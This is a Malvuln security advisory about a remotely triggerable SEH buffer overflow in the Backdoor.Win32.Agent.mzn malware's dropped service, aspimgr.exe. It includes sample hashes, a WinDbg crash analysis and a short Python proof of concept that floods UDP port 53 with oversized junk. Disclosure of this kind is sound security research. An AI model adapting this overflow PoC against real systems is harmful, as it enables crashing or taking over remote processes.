Backdoor.Win32.Agent.mzn malware suffers from a buffer overflow vulnerability.
6080fd9710c66f5bc005af35b1055655
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/f589ae5fb7879eb0b98fb8096d7152a5.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Agent.mzn
Vulnerability: Remote SEH Buffer Overflow
Description: Agent.mzn drops an executable named "aspimgr.exe" that runs with SYSTEM integrity, listening on TCP port 80 and UDP 53. Attackers who can reach the infected system can send a specially crafted packet to UDP port 53 and trigger a SEH based buffer overflow overwriting the structured exception handler.
Type: PE32
MD5: f589ae5fb7879eb0b98fb8096d7152a5
Vuln ID: MVID-2021-0134
Dropped files: aspimgr.exe
ASLR: False
DEP: False
Safe SEH: True :(
Disclosure: 03/16/2021
Memory Dump:
(390.b8): Stack buffer overflow - code c0000409 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=00454741 edx=0327efe4 esi=00000000 edi=00000002
eip=7710ed3c esp=0327e708 ebp=0327e748 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
7710ed3c c21400 ret 14h
0:005> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
kernel32!lstrcpyA+1c
761d7c7c 880c16 mov byte ptr [esi+edx],cl
EXCEPTION_RECORD: 0327e908 -- (.exr 0x327e908)
ExceptionAddress: 761d7c7c (kernel32!lstrcpyA+0x0000001c)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000008
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 03280000
Attempt to write to address 03280000
PROCESS_NAME: aspimgr.exe
ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.
EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.
EXCEPTION_PARAMETER1: 00000015
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
CONTEXT: 0327e958 -- (.cxr 0x327e958)
eax=0327fe34 ebx=000002fc ecx=00454741 edx=0327efe4 esi=0000101c edi=0327fe34
eip=761d7c7c esp=0327edb8 ebp=0327ede0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
kernel32!lstrcpyA+0x1c:
761d7c7c 880c16 mov byte ptr [esi+edx],cl ds:002b:03280000=??
Resetting default scope
WRITE_ADDRESS: 03280000
FOLLOWUP_IP:
kernel32!lstrcpyA+1c
761d7c7c 880c16 mov byte ptr [esi+edx],cl
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]
LAST_CONTROL_TRANSFER: from 0040696f to 761d7c7c
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_STACKIMMUNE
PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_STACKIMMUNE
DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_STACKIMMUNE
STACK_TEXT:
00000000 00000000 aspimgr.exe+0x0
STACK_COMMAND: .cxr 000000000327E958 ; kb ; ** Pseudo Context ** ; kb
SYMBOL_NAME: aspimgr.exe
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: aspimgr
IMAGE_NAME: aspimgr.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 487f3031
FAILURE_BUCKET_ID: STACK_BUFFER_OVERRUN_STACKIMMUNE_c0000409_aspimgr.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_STACKIMMUNE_MISSING_GSFRAME_aspimgr.exe
0:005> !exchain
0327e7c0: ntdll!_except_handler4+0 (77116a50)
CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (771557ad)
0327edd0: kernel32!_except_handler4+0 (761ed450)
CRT scope 0, filter: kernel32!lstrcpyA+2d (761d7c8d)
func: kernel32!lstrcpyA+40 (761d7ca0)
0327ff68: 41414141
Invalid exception stack at 41414141
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=53
def doit():
s=socket(AF_INET, SOCK_DGRAM)
s.connect((MALWARE_HOST, PORT))
JUNK="A"*2000
Dirty0tis_made_me_do_it="GET /"+JUNK+" HTTP/1.0\r\nHost: "+JUNK+"\r\n\r\n"
s.send(Dirty0tis_made_me_do_it)
s.close()
print("Backdoor.Win32.Agent.mzn / Remote SEH Buffer Overflow")
print("MD5: f589ae5fb7879eb0b98fb8096d7152a5")
print("By Malvuln")
if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).